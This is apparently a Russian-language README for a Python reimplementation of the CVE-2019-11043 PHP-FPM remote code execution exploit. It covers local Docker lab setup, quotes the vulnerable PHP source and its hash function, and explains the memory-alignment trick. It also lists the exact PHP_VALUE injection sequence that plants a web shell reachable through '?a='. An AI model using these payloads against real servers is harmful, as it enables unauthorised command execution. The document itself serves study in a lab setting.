
PHP-FPM Remote Command Execution Exploit
Удаленное выполнение кода PHP-FPM
Screencast: https://youtu.be/d6benC5FVZM
Этот эксплойт нулевого дня в распространенных конфигурациях PHP-FPM был обнаружен во время конкурса Realworld CTF в 2019 году. Регулярное выражение используется для разбора запрошенного URI, но символы новой строки %0a не сопоставляются. Это вызывает ошибку в FastCGI, которая неверно вычисляет длину строки запроса и записывает нулевой байт в позицию до начала предполагаемого буфера. Путем тщательного подбора длины строки запроса злоумышленник может использовать эту ошибку для перезаписи внутренних переменных PHP на сервере и выполнения произвольного шелл-кода.
Оригинальная реализация этого эксплойта на Go находится здесь. Я использовал её, статью и исходный отчет об ошибке в качестве учебных материалов для реализации эксплойта на Python.
Docker на Linux Запустите sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 для создания минимального сервера NGINX/PHP-FPM с пустым скриптом /script.php. Dockerfile для этого образа доступен здесь, хотя он не требуется для выполнения вышеуказанной команды.
Docker на Mac Запустите sudo docker-compose up -d из каталога /php/CVE-2019-11043 репозитория vulhub. (Compose входит в состав Docker для Mac.)
Запустите скрипт эксплойта командой python3 exploit.py http://localhost:8080/script.php (или /index.php, если использовался второй вариант). При успешном выполнении веб-шелл будет доступен путем добавления команд в URL после ?a= (например, http://localhost:8080/script.php?a=uname -a).
Примечание: Я пытался создать Ansible playbook для этого задания, но столкнулся с критической ошибкой, описанной здесь. Невозможно запустить systemd-сервисы на современных ядрах Linux (например, любой LTS-релиз Ubuntu) с помощью Ansible playbook.
Конфигурационные файлы PHP-FPM содержат правило для сопоставления входящих URI-запросов с PHP-скриптами, которое часто выглядит так:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Это должно сопоставлять любой URI вида /script.php/pathinfo, но точка . на самом деле не сопоставляет символ новой строки %0a. Если URI содержит новую строку, это вызовет следующую ошибку в реализации PHP:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* recall that PATH_INFO won't exist */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
Проблема в том, что slen вычисляется правильно как длина URI минус длина пути к ресурсу, но pilen ошибочно устанавливается в 0. Это устанавливает path_info в отрицательное значение на строке 1151, что приводит к переполнению буфера вниз. Сразу после этого просчета в том же файле:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
На строке 1161 нулевой байт записывается в ошибочно вычисленную ячейку памяти с предыдущего шага. Это можно использовать для эксплуатации уязвимости на строке 1165, где FastCGI записывает переменную окружения. Записывая нулевой байт в указатель, управляющий операцией записи переменной окружения, мы можем вставлять произвольные переменные PHP в окружение с помощью наших HTTP-запросов.
Переменные окружения в FastCGI хранятся в плотно упакованной последовательности пар строк «ключ-значение» в памяти. Начало и конец буфера, содержащего эти строки, называются _fcgi_data_seg. Член pos указывает на следующее доступное место для записи. Если буфер заполняется (pos > end), выделяется новый, а член next указывает на старый.
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI обращается к отдельным переменным окружения с помощью хеш-таблицы под названием _fcgi_hash.
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
Идея состоит в том, чтобы перезаписать наименее значащий байт pos для обмана FastCGI, заставив его перезаписать существующую переменную. Код предполагается должен взять строку, добавленную к нашему URI-пути, и поместить её в расположение PATH_INFO. Однако мы хотим перезаписать PHP_VALUE, потому что это значение сразу извлекается и загружается в настройки PHP после уязвимого сегмента кода.
Как видно в exploit.py, общая идея этого эксплойта — найти очень длинный URI-запрос, который выровняет внутренний буфер памяти FastCGI таким образом, чтобы мы могли им злоупотребить. Идея состоит в том, чтобы найти точное количество символов, необходимое для выделения FastCGI нового буфера _fcgi_data_seg. Когда это происходит, FastCGI предсказуемо записывает наш PATH_INFO в новый буфер, а сразу после этого — каждый из наших HTTP-заголовков как новые значения окружения. Итак, следующий шаг — найти, сколько символов нужно для дополнения произвольного HTTP-заголовка, чтобы выровнять память для наших целей. Поскольку мы ограничены записью одного нулевого байта в произвольное место, нам нужно, чтобы pos указывал на предсказуемое смещение относительно PHP_VALUE, чтобы изменение наименее значащего байта переместило его туда.
Задача в том, что мы хотим перезаписать PHP_VALUE, но не знаем, где он находится в памяти. Когда FastCGI загружает эту переменную, он хеширует строку PHP_VALUE, чтобы получить фактический адрес памяти в соответствии с простым алгоритмом:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
Вместо того чтобы фактически как-то изменять хеш-таблицу, нам нужно лишь создать другую переменную окружения с такой же длиной строки и хешем, как у PHP_VALUE, в соответствии с этой функцией. Это обманет поиск по хешу, заставив его читать наш HTTP-заголовок вместо предполагаемой переменной. Автор этого эксплойта остроумно заметил, что заголовок с именем EBUT будет сохранен как HTTP_EBUT в окружении FastCGI, что удовлетворяет этому требованию.
Для самой атаки мы отправляем GET-запросы, содержащие наш заголовок EBUT, и используем ошибку перезаписи нулевым байтом, чтобы перезаписать его значение. Мы пытаемся установить PHP переменные окружения одну за другой с помощью повторных запросов:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?=`
\"
extension=\"$_GET[a]`?>\"
Успешная модификация всех этих переменных позволяет выполнить новый запрос ?a= на сервере для выполнения произвольного шелл-кода. Цикл атаки проверяет успешность на каждой итерации, пытаясь выполнить which which. Злоумышленник может легко обнаружить успех, прочитав результат из HTTP-ответа (например, /bin/which).